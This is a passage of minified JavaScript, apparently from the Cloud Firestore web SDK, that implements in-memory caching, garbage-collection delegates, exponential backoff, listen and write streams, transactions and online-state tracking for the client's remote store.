exists"),this.saveQueryData(e),this.targetCount+=1,us.resolve()},t.prototype.updateQueryData=function(t,e){return Zn(this.queries.has(e.query),"Updating a non-existent query"),this.saveQueryData(e),us.resolve()},t.prototype.removeQueryData=function(t,e){return Zn(this.targetCount>0,"Removing a target from an empty cache"),Zn(this.queries.has(e.query),"Removing a non-existent target from the cache"),this.queries.delete(e.query),this.references.removeReferencesForId(e.targetId),this.targetCount-=1,us.resolve()},t.prototype.removeTargets=function(t,e,n){var r=this,i=0,o=[];return this.queries.forEach(function(s,a){a.sequenceNumber<=e&&!n[a.targetId]&&(r.queries.delete(s),o.push(r.removeMatchingKeysForTargetId(t,a.targetId)),i++)}),us.waitFor(o).next(function(){return i})},t.prototype.getQueryCount=function(t){return us.resolve(this.targetCount)},t.prototype.getQueryData=function(t,e){var n=this.queries.get(e)||null;return us.resolve(n)},t.prototype.getQueryDataForTarget=function(t,e){return $n("Not yet implemented.")},t.prototype.addMatchingKeys=function(t,e,n){this.references.addReferences(e,n);var r=this.persistence.referenceDelegate,i=[];return r&&e.forEach(function(e){i.push(r.addReference(t,e))}),us.waitFor(i)},t.prototype.removeMatchingKeys=function(t,e,n){this.references.removeReferences(e,n);var r=this.persistence.referenceDelegate,i=[];return r&&e.forEach(function(e){i.push(r.removeReference(t,e))}),us.waitFor(i)},t.prototype.removeMatchingKeysForTargetId=function(t,e){return this.references.removeReferencesForId(e),us.resolve()},t.prototype.getMatchingKeysForTargetId=function(t,e){var n=this.references.referencesForId(e);return us.resolve(n)},t.prototype.containsKey=function(t,e){return us.resolve(this.references.containsKey(e))},t}();var Ia,Ca=function(){function t(t){this.sizer=t,this.docs=new Yr(jr.comparator),this.newDocumentChanges=uo(),this.size=0}return t.prototype.addEntries=function(t,e,n){for(var r=0,i=e;r<i.length;r++){var o=i[r],s=o.maybeDocument.key;this.docs=this.docs.insert(s,o),this.newDocumentChanges=this.newDocumentChanges.add(s)}return this.size+=n,us.resolve()},t.prototype.removeEntry=function(t,e){var n=this.docs.get(e);return n?(this.docs=this.docs.remove(e),this.size-=n.size,us.resolve(n.size)):us.resolve(0)},t.prototype.getEntry=function(t,e){var n=this.docs.get(e);return us.resolve(n?n.maybeDocument:null)},t.prototype.getSizedEntry=function(t,e){return us.resolve(this.docs.get(e))},t.prototype.getDocumentsMatchingQuery=function(t,e){for(var n=io(),r=new jr(e.path.child("")),i=this.docs.getIteratorFrom(r);i.hasNext();){var o=i.getNext(),s=o.key,a=o.value.maybeDocument;if(!e.path.isPrefixOf(s.path))break;a instanceof zr&&e.matches(a)&&(n=n.insert(a.key,a))}return us.resolve(n)},t.prototype.forEachDocumentKey=function(t,e){return us.forEach(this.docs,function(t){return e(t.key)})},t.prototype.getNewDocumentChanges=function(t){var e=this,n=no();return this.newDocumentChanges.forEach(function(t){var r=e.docs.get(t),i=r?r.maybeDocument:new Hr(t,_i.forDeletedDoc());n=n.insert(t,i)}),this.newDocumentChanges=uo(),us.resolve(n)},t.prototype.newChangeBuffer=function(){return new Da(this.sizer,this)},t.prototype.getSize=function(t){return us.resolve(this.size)},t}(),Da=function(t){function e(e,n){var r=t.call(this)||this;return r.sizer=e,r.documentCache=n,r}return a(e,t),e.prototype.applyChanges=function(t){var e=this,n=0,r=[];return this.assertChanges().forEach(function(t,i){var o=e.documentSizes.get(t);Zn(void 0!==o,"Attempting to change document "+t.toString()+" without having read it first");var s=e.sizer(i);n+=s-o,r.push({maybeDocument:i,size:s})}),this.documentCache.addEntries(t,r,n)},e.prototype.getFromCache=function(t,e){return this.documentCache.getSizedEntry(t,e)},e}(hs),Na=function(){function t(t,e,n){var r=this;this.clientId=t,this.mutationQueues={},this.listenSequence=new zo(0),this._started=!1,this._started=!0,this.referenceDelegate=e?new ka(this):new Ra(this,new ra(n)),this.queryCache=new Ea(this);this.remoteDocumentCache=new Ca(function(t){return r.referenceDelegate.documentSize(t)})}return t.createLruPersistence=function(e,n){return new t(e,!1,n)},t.createEagerPersistence=function(e,n){return new t(e,!0,n)},t.prototype.shutdown=function(t){return this._started=!1,Promise.resolve()},Object.defineProperty(t.prototype,"started",{get:function(){return this._started},enumerable:!0,configurable:!0}),t.prototype.getActiveClients=function(){return u(this,void 0,void 0,function(){return c(this,function(t){return[2,[this.clientId]]})})},t.prototype.setPrimaryStateListener=function(t){return t(!0)},t.prototype.setNetworkEnabled=function(t){},t.prototype.getMutationQueue=function(t){var e=this.mutationQueues[t.toKey()];return e||(e=new Sa(this.referenceDelegate),this.mutationQueues[t.toKey()]=e),e},t.prototype.getQueryCache=function(){return this.queryCache},t.prototype.getRemoteDocumentCache=function(){return this.remoteDocumentCache},t.prototype.runTransaction=function(t,e,n){var r=this;Xn("MemoryPersistence","Starting transaction:",t);var i=new Aa(this.listenSequence.next());return this.referenceDelegate.onTransactionStarted(),n(i).next(function(t){return r.referenceDelegate.onTransactionCommitted(i).next(function(){return t})}).toPromise()},t.prototype.mutationQueuesContainKey=function(t,e){return us.or((n=this.mutationQueues,r=[],ur(n,function(t,e){return r.push(e)}),r).map(function(n){return function(){return n.containsKey(t,e)}}));var n,r},t}(),Aa=function(){return function(t){this.currentSequenceNumber=t}}(),ka=function(){function t(t){this.persistence=t}return t.prototype.setInMemoryPins=function(t){this.inMemoryPins=t},t.prototype.addReference=function(t,e){return this.orphanedDocuments.delete(e),us.resolve()},t.prototype.removeReference=function(t,e){return this.orphanedDocuments.add(e),us.resolve()},t.prototype.removeMutationReference=function(t,e){return this.orphanedDocuments.add(e),us.resolve()},t.prototype.removeTarget=function(t,e){var n=this,r=this.persistence.getQueryCache();return r.getMatchingKeysForTargetId(t,e.targetId).next(function(t){t.forEach(function(t){return n.orphanedDocuments.add(t)})}).next(function(){return r.removeQueryData(t,e)})},t.prototype.onTransactionStarted=function(){this.orphanedDocuments=new Set},t.prototype.onTransactionCommitted=function(t){var e=this,n=this.persistence.getRemoteDocumentCache();return us.forEach(this.orphanedDocuments,function(r){return e.isReferenced(t,r).next(function(e){if(!e)return n.removeEntry(t,r).next()})})},t.prototype.updateLimboDocument=function(t,e){var n=this;return this.isReferenced(t,e).next(function(t){t?n.orphanedDocuments.delete(e):n.orphanedDocuments.add(e)})},t.prototype.documentSize=function(t){return 0},t.prototype.isReferenced=function(t,e){var n=this;return us.or([function(){return n.persistence.getQueryCache().containsKey(t,e)},function(){return n.persistence.mutationQueuesContainKey(t,e)},function(){return us.resolve(n.inMemoryPins.containsKey(e))}])},t}(),Ra=function(){function t(t,e){this.persistence=t,this.serializer=e,this.orphanedSequenceNumbers=new cs(function(t){return es(t.path)}),this.garbageCollector=new sa(this)}return t.prototype.onTransactionStarted=function(){},t.prototype.onTransactionCommitted=function(t){return us.resolve()},t.prototype.forEachTarget=function(t,e){return this.persistence.getQueryCache().forEachTarget(t,e)},t.prototype.getTargetCount=function(t){return this.persistence.getQueryCache().getTargetCount(t)},t.prototype.forEachOrphanedDocumentSequenceNumber=function(t,e){var n=this;return us.forEach(this.orphanedSequenceNumbers,function(r){var i=r.key,o=r.value;return n.isPinned(t,i,o).next(function(t){return t?us.resolve():e(o)})})},t.prototype.setInMemoryPins=function(t){this.inMemoryPins=t},t.prototype.removeTargets=function(t,e,n){return this.persistence.getQueryCache().removeTargets(t,e,n)},t.prototype.removeOrphanedDocuments=function(t,e){var n=this,r=0,i=this.persistence.getRemoteDocumentCache();return i.forEachDocumentKey(t,function(o){return n.isPinned(t,o,e).next(function(e){return e?us.resolve():(r++,i.removeEntry(t,o).next())})}).next(function(){return r})},t.prototype.removeMutationReference=function(t,e){return this.orphanedSequenceNumbers.set(e,t.currentSequenceNumber),us.resolve()},t.prototype.removeTarget=function(t,e){var n=e.copy({sequenceNumber:t.currentSequenceNumber});return this.persistence.getQueryCache().updateQueryData(t,n)},t.prototype.addReference=function(t,e){return this.orphanedSequenceNumbers.set(e,t.currentSequenceNumber),us.resolve()},t.prototype.removeReference=function(t,e){return this.orphanedSequenceNumbers.set(e,t.currentSequenceNumber),us.resolve()},t.prototype.updateLimboDocument=function(t,e){return this.orphanedSequenceNumbers.set(e,t.currentSequenceNumber),us.resolve()},t.prototype.documentSize=function(t){var e,n=this.serializer.toDbRemoteDocument(t);if(n.document)e=n.document;else if(n.unknownDocument)e=n.unknownDocument;else{if(!n.noDocument)throw $n("Unknown remote document type");e=n.noDocument}return JSON.stringify(e).length},t.prototype.isPinned=function(t,e,n){var r=this;return us.or([function(){return r.persistence.mutationQueuesContainKey(t,e)},function(){return us.resolve(r.inMemoryPins.containsKey(e))},function(){return r.persistence.getQueryCache().containsKey(t,e)},function(){var t=r.orphanedSequenceNumbers.get(e);return us.resolve(void 0!==t&&t>n)}])},t}(),Ma=function(){function t(t,e,n,r,i){this.queue=t,this.timerId=e,this.initialDelayMs=n,this.backoffFactor=r,this.maxDelayMs=i,this.timerPromise=null,this.lastAttemptTime=Date.now(),this.reset()}return t.prototype.reset=function(){this.currentBaseMs=0},t.prototype.resetToMax=function(){this.currentBaseMs=this.maxDelayMs},t.prototype.backoffAndRun=function(t){var e=this;this.cancel();var n=Math.floor(this.currentBaseMs+this.jitterDelayMs()),r=Math.max(0,Date.now()-this.lastAttemptTime),i=Math.max(0,n-r);this.currentBaseMs>0&&Xn("ExponentialBackoff","Backing off for "+i+" ms (base delay: "+this.currentBaseMs+" ms, delay with jitter: "+n+" ms, last attempt: "+r+" ms ago)"),this.timerPromise=this.queue.enqueueAfterDelay(this.timerId,i,function(){return e.lastAttemptTime=Date.now(),t()}),this.currentBaseMs*=this.backoffFactor,this.currentBaseMs<this.initialDelayMs&&(this.currentBaseMs=this.initialDelayMs),this.currentBaseMs>this.maxDelayMs&&(this.currentBaseMs=this.maxDelayMs)},t.prototype.cancel=function(){null!==this.timerPromise&&(this.timerPromise.cancel(),this.timerPromise=null)},t.prototype.jitterDelayMs=function(){return(Math.random()-.5)*this.currentBaseMs},t}();!function(t){t[t.Initial=0]="Initial",t[t.Starting=1]="Starting",t[t.Open=2]="Open",t[t.Error=3]="Error",t[t.Backoff=4]="Backoff"}(Ia||(Ia={}));var Oa,Pa,_a=1e3,La=6e4,xa=1.5,qa=function(){function t(t,e,n,r,i,o){this.queue=t,this.idleTimerId=n,this.connection=r,this.credentialsProvider=i,this.listener=o,this.state=Ia.Initial,this.closeCount=0,this.idleTimer=null,this.stream=null,this.backoff=new Ma(t,e,_a,xa,La)}return t.prototype.isStarted=function(){return this.state===Ia.Starting||this.state===Ia.Open||this.state===Ia.Backoff},t.prototype.isOpen=function(){return this.state===Ia.Open},t.prototype.start=function(){this.state!==Ia.Error?(Zn(this.state===Ia.Initial,"Already started"),this.auth()):this.performBackoff()},t.prototype.stop=function(){return u(this,void 0,void 0,function(){return c(this,function(t){switch(t.label){case 0:return this.isStarted()?[4,this.close(Ia.Initial)]:[3,2];case 1:t.sent(),t.label=2;case 2:return[2]}})})},t.prototype.inhibitBackoff=function(){Zn(!this.isStarted(),"Can only inhibit backoff in a stopped state"),this.state=Ia.Initial,this.backoff.reset()},t.prototype.markIdle=function(){var t=this;this.isOpen()&&null===this.idleTimer&&(this.idleTimer=this.queue.enqueueAfterDelay(this.idleTimerId,6e4,function(){return t.handleIdleCloseTimer()}))},t.prototype.sendRequest=function(t){this.cancelIdleCheck(),this.stream.send(t)},t.prototype.handleIdleCloseTimer=function(){return u(this,void 0,void 0,function(){return c(this,function(t){return this.isOpen()?[2,this.close(Ia.Initial)]:[2]})})},t.prototype.cancelIdleCheck=function(){this.idleTimer&&(this.idleTimer.cancel(),this.idleTimer=null)},t.prototype.close=function(t,e){return u(this,void 0,void 0,function(){return c(this,function(n){switch(n.label){case 0:return Zn(this.isStarted(),"Only started streams should be closed."),Zn(t===Ia.Error||wi(e),"Can't provide an error when not in an error state."),this.cancelIdleCheck(),this.backoff.cancel(),this.closeCount++,t!==Ia.Error?this.backoff.reset():e&&e.code===nr.RESOURCE_EXHAUSTED?(Yn(e.toString()),Yn("Using maximum backoff delay to prevent overloading the backend."),this.backoff.resetToMax()):e&&e.code===nr.UNAUTHENTICATED&&this.credentialsProvider.invalidateToken(),null!==this.stream&&(this.tearDown(),this.stream.close(),this.stream=null),this.state=t,[4,this.listener.onClose(e)];case 1:return n.sent(),[2]}})})},t.prototype.tearDown=function(){},t.prototype.auth=function(){var t=this;Zn(this.state===Ia.Initial,"Must be in initial state to auth"),this.state=Ia.Starting;var e=this.getCloseGuardedDispatcher(this.closeCount),n=this.closeCount;this.credentialsProvider.getToken().then(function(e){t.closeCount===n&&t.startStream(e)},function(n){e(function(){var e=new rr(nr.UNKNOWN,"Fetching auth token failed: "+n.message);return t.handleStreamClose(e)})})},t.prototype.startStream=function(t){var e=this;Zn(this.state===Ia.Starting,"Trying to start stream in a non-starting state");var n=this.getCloseGuardedDispatcher(this.closeCount);this.stream=this.startRpc(t),this.stream.onOpen(function(){n(function(){return Zn(e.state===Ia.Starting,"Expected stream to be in state Starting, but was "+e.state),e.state=Ia.Open,e.listener.onOpen()})}),this.stream.onClose(function(t){n(function(){return e.handleStreamClose(t)})}),this.stream.onMessage(function(t){n(function(){return e.onMessage(t)})})},t.prototype.performBackoff=function(){var t=this;Zn(this.state===Ia.Error,"Should only perform backoff when in Error state"),this.state=Ia.Backoff,this.backoff.backoffAndRun(function(){return u(t,void 0,void 0,function(){return c(this,function(t){return Zn(this.state===Ia.Backoff,"Backoff elapsed but state is now: "+this.state),this.state=Ia.Initial,this.start(),Zn(this.isStarted(),"PersistentStream should have started"),[2]})})})},t.prototype.handleStreamClose=function(t){return Zn(this.isStarted(),"Can't handle server close on non-started stream"),Xn("PersistentStream","close with error: "+t),this.stream=null,this.close(Ia.Error,t)},t.prototype.getCloseGuardedDispatcher=function(t){var e=this;return function(n){e.queue.enqueueAndForget(function(){return e.closeCount===t?n():(Xn("PersistentStream","stream callback skipped by getCloseGuardedDispatcher."),Promise.resolve())})}},t}(),Fa=function(t){function e(e,n,r,i,o){var s=t.call(this,e,Go.ListenStreamConnectionBackoff,Go.ListenStreamIdle,n,r,o)||this;return s.serializer=i,s}return a(e,t),e.prototype.startRpc=function(t){return this.connection.openStream("Listen",t)},e.prototype.onMessage=function(t){this.backoff.reset();var e=this.serializer.fromWatchChange(t),n=this.serializer.versionFromListenResponse(t);return this.listener.onWatchChange(e,n)},e.prototype.watch=function(t){var e={};e.database=this.serializer.encodedDatabaseId,e.addTarget=this.serializer.toTarget(t);var n=this.serializer.toListenRequestLabels(t);n&&(e.labels=n),this.sendRequest(e)},e.prototype.unwatch=function(t){var e={};e.database=this.serializer.encodedDatabaseId,e.removeTarget=t,this.sendRequest(e)},e}(qa),Va=function(t){function e(e,n,r,i,o){var s=t.call(this,e,Go.WriteStreamConnectionBackoff,Go.WriteStreamIdle,n,r,o)||this;return s.serializer=i,s.handshakeComplete_=!1,s}return a(e,t),Object.defineProperty(e.prototype,"handshakeComplete",{get:function(){return this.handshakeComplete_},enumerable:!0,configurable:!0}),e.prototype.start=function(){this.handshakeComplete_=!1,t.prototype.start.call(this)},e.prototype.tearDown=function(){this.handshakeComplete_&&this.writeMutations([])},e.prototype.startRpc=function(t){return this.connection.openStream("Write",t)},e.prototype.onMessage=function(t){if(Zn(!!t.streamToken,"Got a write response without a stream token"),this.lastStreamToken=t.streamToken,this.handshakeComplete_){this.backoff.reset();var e=this.serializer.fromWriteResults(t.writeResults,t.commitTime),n=this.serializer.fromVersion(t.commitTime);return this.listener.onMutationResult(n,e)}return Zn(!t.writeResults||0===t.writeResults.length,"Got mutation results for handshake"),this.handshakeComplete_=!0,this.listener.onHandshakeComplete()},e.prototype.writeHandshake=function(){Zn(this.isOpen(),"Writing handshake requires an opened stream"),Zn(!this.handshakeComplete_,"Handshake already completed");var t={};t.database=this.serializer.encodedDatabaseId,this.sendRequest(t)},e.prototype.writeMutations=function(t){var e=this;Zn(this.isOpen(),"Writing mutations requires an opened stream"),Zn(this.handshakeComplete_,"Handshake must be complete before writing mutations"),Zn(this.lastStreamToken.length>0,"Trying to write mutation without a token");var n={streamToken:this.lastStreamToken,writes:t.map(function(t){return e.serializer.toMutation(t)})};this.sendRequest(n)},e}(qa),Ba=function(){function t(t,e,n,r){this.queue=t,this.connection=e,this.credentials=n,this.serializer=r}return t.prototype.newPersistentWriteStream=function(t){return new Va(this.queue,this.connection,this.credentials,this.serializer,t)},t.prototype.newPersistentWatchStream=function(t){return new Fa(this.queue,this.connection,this.credentials,this.serializer,t)},t.prototype.commit=function(t){var e=this,n={database:this.serializer.encodedDatabaseId,writes:t.map(function(t){return e.serializer.toMutation(t)})};return this.invokeRPC("Commit",n).then(function(t){return e.serializer.fromWriteResults(t.writeResults,t.commitTime)})},t.prototype.lookup=function(t){var e=this,n={database:this.serializer.encodedDatabaseId,documents:t.map(function(t){return e.serializer.toName(t)})};return this.invokeStreamingRPC("BatchGetDocuments",n).then(function(n){var r=no();n.forEach(function(t){var n=e.serializer.fromMaybeDocument(t);r=r.insert(n.key,n)});var i=[];return t.forEach(function(t){var e=r.get(t);Zn(!!e,"Missing entity in write response for "+t),i.push(e)}),i})},t.prototype.invokeRPC=function(t,e){var n=this;return this.credentials.getToken().then(function(r){return n.connection.invokeRPC(t,e,r)}).catch(function(t){throw t.code===nr.UNAUTHENTICATED&&n.credentials.invalidateToken(),t})},t.prototype.invokeStreamingRPC=function(t,e){var n=this;return this.credentials.getToken().then(function(r){return n.connection.invokeStreamingRPC(t,e,r)}).catch(function(t){throw t.code===nr.UNAUTHENTICATED&&n.credentials.invalidateToken(),t})},t}(),Ua=function(){function t(t){this.datastore=t,this.readVersions=so(),this.mutations=[],this.committed=!1}return t.prototype.recordVersion=function(t){var e;if(t instanceof zr)e=t.version;else{if(!(t instanceof Hr))throw $n("Document in a transaction was a "+t.constructor.name);e=_i.forDeletedDoc()}var n=this.readVersions.get(t.key);if(null!==n){if(!e.isEqual(n))throw new rr(nr.ABORTED,"Document version changed between two reads.")}else this.readVersions=this.readVersions.insert(t.key,e)},t.prototype.lookup=function(t){var e=this;return this.committed?Promise.reject("Transaction has already completed."):this.mutations.length>0?Promise.reject("Transactions lookups are invalid after writes."):this.datastore.lookup(t).then(function(t){return t.forEach(function(t){t instanceof Hr||t instanceof zr?e.recordVersion(t):$n("Document in a transaction was a "+t.constructor.name)}),t})},t.prototype.write=function(t){if(this.committed)throw new rr(nr.FAILED_PRECONDITION,"Transaction has already completed.");this.mutations=this.mutations.concat(t)},t.prototype.precondition=function(t){var e=this.readVersions.get(t);return e?Bi.updateTime(e):Bi.NONE},t.prototype.preconditionForUpdate=function(t){var e=this.readVersions.get(t);if(e&&e.isEqual(_i.forDeletedDoc()))throw new rr(nr.FAILED_PRECONDITION,"Can't update a document that doesn't exist.");return e?Bi.updateTime(e):Bi.exists(!0)},t.prototype.set=function(t,e){this.write(e.toMutations(t,this.precondition(t)))},t.prototype.update=function(t,e){this.write(e.toMutations(t,this.preconditionForUpdate(t)))},t.prototype.delete=function(t){this.write([new ji(t,this.precondition(t))]),this.readVersions=this.readVersions.insert(t,_i.forDeletedDoc())},t.prototype.commit=function(){var t=this,e=this.readVersions;return this.mutations.forEach(function(t){e=e.remove(t.key)}),e.isEmpty()?this.datastore.commit(this.mutations).then(function(){t.committed=!0}):Promise.reject(Error("Every document read in a transaction must also be written."))},t}();!function(t){t[t.Unknown=0]="Unknown",t[t.Online=1]="Online",t[t.Offline=2]="Offline"}(Oa||(Oa={})),function(t){t[t.RemoteStore=0]="RemoteStore",t[t.SharedClientState=1]="SharedClientState"}(Pa||(Pa={}));var Qa=function(){function t(t,e){this.asyncQueue=t,this.onlineStateHandler=e,this.state=Oa.Unknown,this.watchStreamFailures=0,this.onlineStateTimer=null,this.shouldWarnClientIsOffline=!0}return t.prototype.handleWatchStreamStart=function(){var t=this;0===this.watchStreamFailures&&(this.setAndBroadcast(Oa.Unknown),Zn(null===this.onlineStateTimer,"onlineStateTimer shouldn't be started yet"),this.onlineStateTimer=this.asyncQueue.enqueueAfterDelay(Go.OnlineStateTimeout,1e4,function(){return t.onlineStateTimer=null,Zn(t.state===Oa.Unknown,"Timer should be canceled if we transitioned to a different state."),t.logClientOfflineWarningIfNecessary("Backend didn't respond within 10 seconds."),t.setAndBroadcast(Oa.Offline),Promise.resolve()}))},t.prototype.handleWatchStreamFailure=function(t){this.state===Oa.Online?(this.setAndBroadcast(Oa.Unknown),Zn(0===this.watchStreamFailures,"watchStreamFailures must be 0"),Zn(null===this.onlineStateTimer,"onlineStateTimer must be null")):(this.watchStreamFailures++,this.watchStreamFailures>=1&&(this.clearOnlineStateTimer(),this.logClientOfflineWarningIfNecessary("Connection failed 1 times. Most recent error: "+t.toString()),this.setAndBroadcast(Oa.Offline)))},t.prototype.set=function(t){this.clearOnlineStateTimer(),this.watchStreamFailures=0,t===Oa.Online&&(this.shouldWarnClientIsOffline=!1),this.setAndBroadcast(t)},t.prototype.setAndBroadcast=function(t){t!==this.state&&(this.state=t,this.onlineStateHandler(t))},t.prototype.logClientOfflineWarningIfNecessary=function(t){var e="Could not reach Cloud Firestore backend. "+t+"\nThis typically indicates that your device does not have a healthy Internet connection at the moment. The client will operate in offline mode until it is able to successfully connect to the backend.";this.shouldWarnClientIsOffline?(Yn(e),this.shouldWarnClientIsOffline=!1):Xn("OnlineStateTracker",e)},t.prototype.clearOnlineStateTimer=function(){null!==this.onlineStateTimer&&(this.onlineStateTimer.cancel(),this.onlineStateTimer=null)},t}(),Ka=function(){function t(t,e,n,r){this.localStore=t,this.datastore=e,this.writePipeline=[],this.listenTargets={},this.watchChangeAggregator=null,this.networkEnabled=!1,this.isPrimary=!1,this.onlineStateTracker=new Qa(n,r),this.watchStream=this.datastore.newPersistentWatchStream({onOpen:this.onWatchStreamOpen.bind(this),onClose:this.onWatchStreamClose.bind(this),onWatchChange:this.onWatchStreamChange.bind(this)}),this.writeStream=this.datastore.newPersistentWriteStream({onOpen:this.onWriteStreamOpen.bind(this),onClose:this.onWriteStreamClose.bind(this),onHandshakeComplete:this.onWriteHandshakeComplete.bind(this),onMutationResult:this.onMutationResult.bind(this)})}return t.prototype.start=function(){return this.enableNetwork()},t.prototype.enableNetwork=function(){return u(this,void 0,void 0,function(){var t;return c(this,function(e){switch(e.label){case 0:return this.networkEnabled=!0,this.canUseNetwork()?(t=this.writeStream,[4,this.localStore.getLastStreamToken()]):[3,3];case 1:return t.lastStreamToken=e.sent(),this.shouldStartWatchStream()?this.startWatchStream():this.onlineStateTracker.set(Oa.Unknown),[4,this.fillWritePipeline()];case 2:e.sent(),e.label=3;case 3:return[2]}})})},t.prototype.disableNetwork=function(){return u(this,void 0,void 0,function(){return c(this,function(t){switch(t.label){case 0:return this.networkEnabled=!1,[4,this.disableNetworkInternal()];case 1:return t.sent(),this.onlineStateTracker.set(Oa.Offline),[2]}})})},t.prototype.disableNetworkInternal=function(){return u(this,void 0,void 0,function(){return c(this,function(t){switch(t.label){case 0:return[4,this.writeStream.stop()];case 1:return t.sent(),[4,this.watchStream.stop()];case 2:return t.sent(),this.writePipeline.length>0&&(Xn("RemoteStore","Stopping write stream with "+this.writePipeline.length+" pending writes"),this.writePipeline=[]),this.cleanUpWatchStreamState(),[2]}})})},t.prototype.shutdown=function(){return u(this,void 0,void 0,function(){return c(this,function(t){switch(t.label){case 0:return Xn("RemoteStore","RemoteStore shutting down."),this.networkEnabled=!1,[4,this.disableNetworkInternal()];case 1:return t.sent(),this.onlineStateTracker.set(Oa.Unknown),[2]}})})},t.prototype.listen=function(t){Zn(!or(this.listenTargets,t.targetId),"listen called with duplicate targetId!"),this.listenTargets[t.targetId]=t,this.shouldStartWatchStream()?this.startWatchStream():this.watchStream.isOpen()&&this.sendWatchRequest(t)},t.prototype.unlisten=function(t){Zn(or(this.listenTargets,t),"unlisten called without assigned target ID!"),delete this.listenTargets[t],this.watchStream.isOpen()&&this.sendUnwatchRequest(t),cr(this.listenTargets)&&(this.watchStream.isOpen()?this.watchStream.markIdle():this.canUseNetwork()&&this.onlineStateTracker.set(Oa.Unknown))},t.prototype.getQueryDataForTarget=function(t){return this.listenTargets[t]||null},t.prototype.getRemoteKeysForTarget=function(t){return this.syncEngine.getRemoteKeysForTarget(t)},t.prototype.sendWatchRequest=function(t){this.watchChangeAggregator.recordPendingTargetRequest(t.targetId),this.watchStream.watch(t)},t.prototype.sendUnwatchRequest=function(t){this.watchChangeAggregator.recordPendingTargetRequest(t),this.watchStream.unwatch(t)},t.prototype.startWatchStream=function(){Zn(this.shouldStartWatchStream(),"startWatchStream() called when shouldStartWatchStream() is false."),this.watchChangeAggregator=new Io(this),this.watchStream.start(),this.onlineStateTracker.handleWatchStreamStart()},t.prototype.shouldStartWatchStream=function(){return this.canUseNetwork()&&!this.watchStream.isStarted()&&!cr(this.listenTargets)},t.prototype.canUseNetwork=function(){return this.isPrimary&&this.networkEnabled},t.prototype.cleanUpWatchStreamState=function(){this.watchChangeAggregator=null},t.prototype.onWatchStreamOpen=function(){return u(this,void 0,void 0,function(){var t=this;return c(this,function(e){return ar(this.listenTargets,function(e,n){t.sendWatchRequest(n)}),[2]})})},t.prototype.onWatchStreamClose=function(t){return u(this,void 0,void 0,function(){return c(this,function(e){return void 0===t&&Zn(!this.shouldStartWatchStream(),"Watch stream was stopped gracefully while still needed."),this.cleanUpWatchStreamState(),this.shouldStartWatchStream()?(this.onlineStateTracker.handleWatchStreamFailure(t),this.startWatchStream()):this.onlineStateTracker.set(Oa.Unknown),[2]})})},t.prototype.onWatchStreamChange=function(t,e){return u(this,void 0,void 0,function(){var n;return c(this,function(r){switch(r.label){case 0:return this.onlineStateTracker.set(Oa.Online),t instanceof So&&t.state===mo.Removed&&t.cause?[2,this.handleTargetError(t)]:(t instanceof wo?this.watchChangeAggregator.handleDocumentChange(t):t instanceof To?this.watchChangeAggregator.handleExistenceFilter(t):(Zn(t instanceof So,"Expected watchChange to be an instance of WatchTargetChange"),this.watchChangeAggregator.handleTargetChange(t)),e.isEqual(_i.MIN)?[3,3]:[4,this.localStore.getLastRemoteSnapshotVersion()]);case 1:return n=r.sent(),e.compareTo(n)>=0?[4,this.raiseWatchSnapshot(e)]:[3,3];case 2:r.sent(),r.label=3;case 3:return[2]}})})},t.prototype.raiseWatchSnapshot=function(t){var e=this;Zn(!t.isEqual(_i.MIN),"Can't raise event for unknown SnapshotVersion");var n=this.watchChangeAggregator.createRemoteEvent(t);return ar(n.targetChanges,function(n,r){if(r.resumeToken.length>0){var i=e.listenTargets[n];i&&(e.listenTargets[n]=i.copy({resumeToken:r.resumeToken,snapshotVersion:t}))}}),n.targetMismatches.forEach(function(t){var n=e.listenTargets[t];if(n){e.listenTargets[t]=n.copy({resumeToken:er()}),e.sendUnwatchRequest(t);var r=new xi(n.query,t,Si.ExistenceFilterMismatch,n.sequenceNumber);e.sendWatchRequest(r)}}),this.syncEngine.applyRemoteEvent(n)},t.prototype.handleTargetError=function(t){var e=this;Zn(!!t.cause,"Handling target error without a cause");var n=t.cause,r=Promise.resolve();return t.targetIds.forEach(function(t){r=r.then(function(){return u(e,void 0,void 0,function(){return c(this,function(e){return or(this.listenTargets,t)?(delete this.listenTargets[t],this.watchChangeAggregator.removeTarget(t),[2,this.syncEngine.rejectListen(t,n)]):[2]})})})}),r},t.prototype.fillWritePipeline=function(){return u(this,void 0,void 0,function(){var t,e;return c(this,function(n){switch(n.label){case 0:return this.canAddToWritePipeline()?(t=this.writePipeline.length>0?this.writePipeline[this.writePipeline.length-1].batchId:os,[4,this.localStore.nextMutationBatch(t)]):[3,4];case 1:return null!==(e=n.sent())?[3,2]:(0===this.writePipeline.length&&this.writeStream.markIdle(),[3,4]);case 2:return this.addToWritePipeline(e),[4,this.fillWritePipeline()];case 3:n.sent(),n.label=4;case 4:return this.shouldStartWriteStream()&&this.startWriteStream(),[2]}})})},t.prototype.canAddToWritePipeline=function(){return this.canUseNetwork()&&this.writePipeline.length<10},t.prototype.outstandingWrites=function(){return this.writePipeline.length},t.prototype.addToWritePipeline=function(t){Zn(this.canAddToWritePipeline(),"addToWritePipeline called when pipeline is full"),this.writePipeline.push(t),this.writeStream.isOpen()&&this.writeStream.handshakeComplete&&this.writeStream.writeMutations(t.mutations)},t.prototype.shouldStartWriteStream=function(){return this.canUseNetwork()&&!this.writeStream.isStarted()&&this.writePipeline.length>0},t.prototype.startWriteStream=function(){Zn(this.shouldStartWriteStream(),"startWriteStream() called when shouldStartWriteStream() is false."),this.writeStream.start()},t.prototype.onWriteStreamOpen=function(){return u(this,void 0,void 0,function(){return c(this,function(t){return this.writeStream.writeHandshake(),[2]})})},t.prototype.onWriteHandshakeComplete=function(){var t=this;return this.localStore.setLastStreamToken(this.writeStream.lastStreamToken).then(function(){for(var e=0,n=t.writePipeline;e<n.length;e++){var r=n[e];t.writeStream.writeMutations(r.mutations)}}).catch(function(e){return t.ignoreIfPrimaryLeaseLoss(e)})},t.prototype.ignoreIfPrimaryLeaseLoss=function(t){if(!da(t))throw t;Xn("RemoteStore","Unexpectedly lost primary lease")},t.prototype.onMutationResult=function(t,e){var n=this;Zn(this.writePipeline.length>0,"Got result for empty write pipeline");var r=this.writePipeline.shift(),i=as.from(r,t,e,this.writeStream.lastStreamToken);return this.syncEngine.applySuccessfulWrite(i).then(function(){return n.fillWritePipeline()})},t.prototype.onWriteStreamClose=function(t){return u(this,void 0,void 0,function(){var e=this;return c(this,function(n){return void 0===t&&Zn(!this.shouldStartWriteStream(),"Write stream was stopped gracefully while still needed."),t&&this.writePipeline.length>0?(void 0,[2,(this.writeStream.handshakeComplete?this.handleWriteError(t):this.handleHandshakeError(t)).then(function(){e.shouldStartWriteStream()&&e.startWriteStream()})]):[2]})})},t.prototype.handleHandshakeError=function(t){return u(this,void 0,void 0,function(){var 